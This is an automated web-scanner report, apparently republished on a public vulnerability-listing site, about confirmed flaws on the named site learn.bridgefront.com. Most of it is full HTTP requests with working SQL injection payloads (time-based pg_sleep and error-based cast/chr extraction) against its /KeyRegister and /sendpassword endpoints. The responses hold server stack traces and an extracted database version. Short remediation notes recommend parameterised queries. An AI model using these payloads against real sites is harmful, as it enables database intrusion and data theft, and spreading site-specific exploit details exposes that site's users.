GHDB, DORK, SQL Injection, learn.bridgefront.com, Database Error, CWE-89, CAPEC-66 REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Private Reporting of Security Research is preferred for Online Service Providers

Loading
Netsparker - Scan Report Summary
TARGET URL
 http://learn.bridgefront.com/
SCAN DATE
 4/25/2011 8:16:53 PM
REPORT DATE
 4/25/2011 8:30:43 PM
SCAN DURATION
 00:05:37

Total Requests

Average Speed

req/sec.
27
identified
17
confirmed
6
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
 Previous Settings
ENABLED ENGINES
 Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
22 %
IMPORTANT
26 %
MEDIUM
19 %
LOW
26 %
INFORMATION
7 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Password Transmitted Over HTTP Yes
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
/errorpage.jsp Tomcat Exception Report Disclosure No
/intro/ E-mail Address Disclosure No
/KeyRegister replace2_ul_ POST Blind SQL Injection Yes
replace2_ul_ POST SQL Injection Yes
replace2_ul_ POST Cross-site Scripting Yes
Database User Has Admin Privileges Yes
replace2_ul_ POST Internal Server Error Yes
Apache Version Disclosure No
replace2_ul_ POST Database Error Message No
Postgres Server Identified Yes
/lm_login.jsp Tomcat Version Disclosure No
/login.jsp replace0_ul_ POST Cross-site Scripting Yes
uid GET Cross-site Scripting Yes
/logincontroller replace0_ul_ POST HTTP Header Injection No
/sendpassword replace0_ul_ GET Blind SQL Injection Yes
replace0_ul_ GET Blind SQL Injection Yes
replace0_ul_ GET SQL Injection Yes
replace0_ul_ GET SQL Injection Yes
replace0_ul_ GET Cross-site Scripting Yes
replace0_ul_ GET Cross-site Scripting Yes
replace0_ul_ GET HTTP Header Injection No
replace1_ul_ GET HTTP Header Injection No
replace0_ul_ GET HTTP Header Injection No
replace1_ul_ GET HTTP Header Injection No
Blind SQL Injection

Blind SQL Injection
3 TOTAL
CRITICAL
CONFIRMED
3
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Parameters

Parameter Type Value
replace2_ul_ POST ';SELECT pg_sleep(25)--
submit POST Register

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 56
Accept-Encoding: gzip, deflate

replace2_ul_='%3BSELECT%20pg_sleep(25)--&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:45 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6173
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: Multiple ResultSets were returned by the query. at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:239) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nul..

Parameters

Parameter Type Value
button1 GET Get Password
button2 GET Get User Name
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET ';SELECT pg_sleep(25)--
replace1_ul_ GET 3
totalvalues GET 3

Request

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=208221C98B07F88CDA0AA64095CED35F
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:19:13 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6333
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: Multiple ResultSets were returned by the query. at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:239) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&repla..

Parameters

Parameter Type Value
totalvalues GET 3
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET ';SELECT pg_sleep(25)--
replace1_ul_ GET 3

Request

GET /sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%3BSELECT%20pg_sleep(25)--&replace1_ul_=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:20:22 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6290
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%3BSELECT%20pg_sleep(25)--&replace1_ul_=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: Multiple ResultSets were returned by the query. at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:239) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
SQL Injection

SQL Injection
3 TOTAL
CRITICAL
CONFIRMED
3
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Parameters

Parameter Type Value
replace2_ul_ POST '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
submit POST Register

Extracted Data

postgresql 9.0.4 on x86_64-unknown-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20080704 (red hat 4.1.2-48), 64-bit

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 218
Accept-Encoding: gzip, deflate

replace2_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:49 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6637
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "_!@5dilemma" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at 